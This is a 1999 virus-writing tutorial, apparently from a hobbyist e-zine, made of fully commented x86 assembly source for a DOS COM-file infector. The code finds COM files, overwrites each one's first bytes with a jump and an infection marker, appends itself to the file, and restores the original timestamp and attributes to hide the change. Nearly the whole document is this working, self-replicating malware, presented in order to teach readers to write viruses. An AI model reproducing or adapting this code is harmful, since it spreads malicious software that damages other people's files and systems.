title The Simple Way to learn Virus writing 2
subttl (C) 1999 The BugHunter
subttl Latest revision: 17.08.1999

;I write this tutorial hoping that more people understand how viruses work
;
;I think that the best way to learn viruswriting is a good commented piece
;  of Source  ;)
;
;Now when you finally understand my first tutorial (i hope) let's come
;  to the second one. The COM-Files which would be infected by our first
;  virus get so bad damaged so that you couldn't run the orginal program
;  any longer. That's of course not our goal. So we have to try to infect
;  a COM so we can run the orginal program as long as we want to do.
;
;Sorry, that the labels are written in german but i am german and this
;  tutorial is just translated from german to english for the Kefrens
;  E-Zine ;)
;
;You can assemble this file with TASM:
;   tasm tut2e.asm
;   tlink tut2e.obj /t
;
;Mail your opinions and your questions to:
;   thebughunter@kefrens.de
;
;Let's go:

jumps

code segment
assume cs:code,ds:code

org 0100h
;We know this part ;)

infectedfile:

db 0e9h, 02h, 0h
;that's noting else as "jmp far tutnichts"
db 0deh, 0adh
;This is our ID. Our Virus should know that this file is already infected.

tutnichts:
        call virus
;call saves the location where it is used (=begin of our virus) in the STACK

virus:
        pop     bp
;with POP you can pop things out of the STACK into a register
;"call virus" saved our virus location into the STACK. Now we save this
;  location in BP
;  now BP is the location where we can find our virus
        sub     bp, OFFSET virus
;now we subtract the offset of "virus" from bp
;  we just want to know where our virus is not where our virus + the orginal
;  bytes are ;)

dtasetzen:
        mov     ah, 1ah
        lea     dx, [bp+OFFSET dta]
        int     21h
;ah=1ah sets the DTA (Disk Transfer Area) to the location dx
;  in the DTA all important parts for DOS are saved (filesize, attributes
;     filetime, filedate etc.)
;When we save the DTA in our virus it's easier to use it  ;)

        mov     cx, 5
        lea     si, [bp+OFFSET zweibytes1]
        mov     di, 100h
        rep     movsb
;Good that all COM-Files start at 100h in our memory
;We had replaced the first 5 bytes of the orginal file with a jump to our 
;  virus (3bytes) and an ID (2byte)
;  Before that we had saved the orginal bytes because the program needs them.
;Here he move CX bytes from SI to DI
;  that means: we write the 5 saved bytes from the orginal program back to
;     the front of our infectect file.
;Of course we just restore them in the memory ;)

        mov     ah, 4eh
        mov     cx, 7
        lea     dx, [bp+OFFSET comfile]
        jmp     search
;We know this part ;)

OUR_ID  db      'Example Virus from the tutorial "The Simple Way to learn Virus writing 2" [The BugHunter]'

search:
        int     21h
        jc      quit
;We know this part ;)

        mov     ax, 4301h
        xor     cl, cl
        int     21h
;We know this part ;)

        mov     ax, 3d02h
        lea     dx, [bp+OFFSET dta+1eh]
        int     21h
;We know this part, too. Only difference is that the DTA now is in our virus
;  otherwise dta would be at the position 80h that means that dx would be 09eh
;    (80+1e) again

        xchg    bx, ax
;We know this part ;)

lesen:
        mov     ah, 3fh
        mov     cx, 5
        lea     dx, [bp+zweibytes1]
        int     21h
;Here we save the first 5 orginal bytes from the infected file.
;ah=3fh: read from file
;cx=5 bytes
;dx=to

infcheck:
        cmp     word ptr [bp+zweibytes1], 'ZM'
        je      findnext
;here we check if it is a fake Com.
;  that means: a COM which is an EXE

        cmp     word ptr [bp+zweibytes2], 0addeh
        je      findnext
;here we check if the file already is infected.
;we just look if our ID is there or not ;)

        mov     ax, word ptr [bp+dta+1ah]
        sub     ax, 3
        mov     word ptr [bp+jump+1],ax
;in ax the filesize is saved.
;  (mov ax,4202h saves the file size in ax if cx and dx are 0)
;now we subtract 3 bytes from the filesize (the jump to our virus is
;  3 bytes small)
;after that we save the result in our jumpmask

        mov     ax, 4200h
        xor     cx, cx
        cwd
        int     21h
;Here we put the File-Pointer to the start of the file
;ax=4200h means pointer to start of file if cx and dx are 0
;cwd saves the value from cx in dx

        mov     ah, 40h
        mov     cx, 5
        lea     dx, [bp+jump]
        int     21h
;We know this part ;)
;  We write 5 bytes in the file.
;  the jump and our ID to the start of the file.

        mov     ax, 4202h
        xor     cx, cx
        cwd
        int     21h
;ax=4202h sets the filepointer to the end of file
;if cx and dx are 0

        mov     ah, 40h
        lea     dx, [bp+tutnichts]
        mov     cx, ende-tutnichts
        int     21h
;We know this part ;)

        mov     ax, 5701h
        mov     cx, [bp+OFFSET dta+16h]
        mov     dx, [bp+OFFSET dta+18h]
        int     21h
;ax=5701h means set filedate /time
;cx=time  <=you can find it at 16h in the DTA
;dx=date  <=you can find it at 18h in the DTA

        mov     ax, 4301h
        mov     cl, [bp+OFFSET dta+15h]
        lea     dx, [bp+OFFSET dta+1eh]
        int     21h
;ax=4301h means set attributes
;cx=attributes  <=you can find it at 15h in the DTA
;dx=filename    <=you can find it at 1eh in the DTA

findnext:
        mov     ah, 3eh
        int     21
;We know this part ;)

        mov     ah, 4fh
        jmp     search
;We know this part ;)

quit:

backtoapp:
        mov     si, 100h
        jmp     si
;What are we doing here? We jump to a register?
;  It's very simple. We know that COM-Files start as 100h in the memory.
;  So we just need to jump to the position 100h in memory with the help of
;  our SourceIndex(si)
;we also can use ret:
;       mov si, 100h
;       push si
;       ret

comfile         db 'virus.com',0
;our File-Maske
zweibytes1      db 0cdh,20h
einbyte         db 0
zweibytes2      db 0,0
;The orginal 5 bytes from the infected programs
;db 0ch, 20h just means int 20h (DOS program termination)

jump            db 0e9h,0,0
;this is our jump mask. just the last 2 bytes get changed
kennung         db 0deh, 0adh
;That's our ID. Our Virus needs it to see if a file is infected or not

ende:
;Temp Data
;  This Datas are needed but we don't need to put them to the end of every
;  infected file.
;  to decrease filesize we don't write the parts below the label "ende"
dta             db 43 dup (?)

code ends
end infectedfile

;Thanks to Gigabyte for checking my spelling ;)
;
;Greets to:
;          Stealthwarrior, a very helpful person ;)
;          The Kefrens members:
;            -AcidBytes
;            -Assembler Head
;            -Freestyler
;            -Gigabyte
;            -Paradizer
;            -SnakeByte
;          All Cybernetic Crew members ;)
;          Vittel, wir mssen irgent wann mal wieder mp-3-z tauschen ;)
;          Steffie, viele schne gre an dich  =)
;          Sylvia, viele schne gre auch an dich  =)
;          Efgeen (Effgen, Effgeen) oder wie auch immer du jetzt geschrieben
;             wirst ;) ,besorg dir mal nen internet Anschlu  =)
;	   everyone else who writes virii
;	   and everyone who knows me.
